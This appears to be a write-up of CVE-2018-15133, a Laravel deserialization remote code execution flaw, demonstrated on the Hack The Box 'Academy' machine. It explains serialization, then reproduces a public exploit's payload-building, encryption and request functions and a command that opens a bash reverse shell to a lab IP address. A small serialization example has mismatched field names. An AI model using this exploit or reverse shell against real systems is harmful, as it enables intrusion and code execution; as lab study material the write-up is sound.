CVE-2018-15133
In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur.

As a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc.
The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.
Mitre CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15133
This CVE can be found in: https://www.hackthebox.com/machines/academy
Metasploit module: https://www.exploit-db.com/exploits/47129
Python script: https://github.com/aljavier/exploit_laravel_cve-2018-15133
What is unserialize or deserialization?
First of all, serialization is the process of converting an object from memory into a stream of bytes that may be stored and restored later on. For example a python dictionary can be serialized into a stream of bytes.
So now converting that stream of bytes back into the original python dictionary is called deserialization or unserializing.

What is the purpose of serialization:
Data storage: Save the state of an object or data structure to a file or database.
Data transmission: Serialized data can be sent over a network or between different systems.
Example using a Python object.
class Car:
def __init__(self, brand, year):
self.brand = brand
self.year = year
Serialization of the Car class to JSON.
{"name": "BMW", "year": 2024}
Now taking the JSON and deserializing it back into the Car object.
json_data = '{"brand": "BMW", "year": 2024}'
person_object = json.loads(json_data)
# Resulting Python object: {'name': 'BMW', 'age': 2024}
RCE Laravel
We can run any code we want via the HTTP X-XSRF-TOKEN
header because it makes an insecure unserialize call to Illuminate/Encryption/Encrypter.php
Laravel sessions are JSON objects, and in Laraval the Encrypter.php
file generates a iv
and value
using OpenSSL and serializes them before returning JSON encoded object as the output.
The other function in Ecrypter.php is decrypt where its getting the iv and value to decrypt data before deserializing the decrypted variable. When providing a valid JSON object it wil try to unserialize it and execute commands.
The exploit
You can find the python script here: exploit_laravel_cve-2018-15133. The 3 functions that execute the exploit are generate_payload, encrypt and exploit.
generate_payload
Function will encode data base64 and assign to value
. Decodes base64 leaked API key and add is to key
.
def generate_payload(cmd, key, method=1):
# Porting phpgcc thing for Laravel RCE php objects - code mostly borrowed from Metasploit's exploit
if method == 1: # Laravel RCE1
payload_decoded = 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:
{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\\Generator":1:{s:13:"' +
"\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' +
"\x00" + '*' + "\x00" + 'event";s:' + str(len(cmd)) + ':"' + cmd + '";}'
<SNIP>
value = base64.b64encode(payload_decoded.encode()).decode('utf-8')
key = base64.b64decode(key)
return encrypt(value, key)
encrypt
This function uses cipher to encrypt mac
, vi
and value
. Its then passed in JSON format and base64 encoded as payload_encoded
.
def encrypt(text, key):
cipher = AES.new(key,AES.MODE_CBC)
value = cipher.encrypt(pad(base64.b64decode(text), AES.block_size))
payload = base64.b64encode(value)
iv_base64 = base64.b64encode(cipher.iv)
hashed_mac = hmac.new(key, iv_base64 + payload, sha256).hexdigest()
iv_base64 = iv_base64.decode('utf-8')
payload = payload.decode('utf-8')
data = { 'iv': iv_base64, 'value': payload, 'mac': hashed_mac}
json_data = json.dumps(data)
payload_encoded = base64.b64encode(json_data.encode()).decode('utf-8')
return payload_encoded
exploit
Is making a POST request and passing the payload into the X-XSRF-TOKEN
header. They payload is made of cmd, api_key and method.
def exploit(url, api_key, cmd, method=1):
payload = generate_payload(cmd, api_key, method)
return requests.post(url,headers={'X-XSRF-TOKEN': payload})
Running the python script gives a reverse shell.
$ python3 laravel.py -c "bash -c '/bin/bash -i >& /dev/tcp/10.10.14.9/8888 0>&1'" http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

Last updated
Was this helpful?